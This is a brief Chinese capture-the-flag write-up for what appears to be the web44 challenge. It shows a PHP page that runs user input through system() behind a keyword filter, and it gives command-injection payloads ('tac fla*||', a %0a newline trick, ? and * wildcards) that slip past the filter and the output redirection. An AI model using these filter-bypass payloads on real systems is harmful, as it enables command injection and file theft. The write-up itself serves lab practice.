信息收集
依旧是把所有输出丢弃,这一次多了flag
的过滤,没啥好说的,用*
或者?
代替就可以了
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
解题
依然是想办法给他后面的语句屏蔽了就行
||
:短路,前面返回值为真后面就不会执行了
%0a
:换行
ls||
tac fla*||
tac fla????? %0a
web43 目录 web45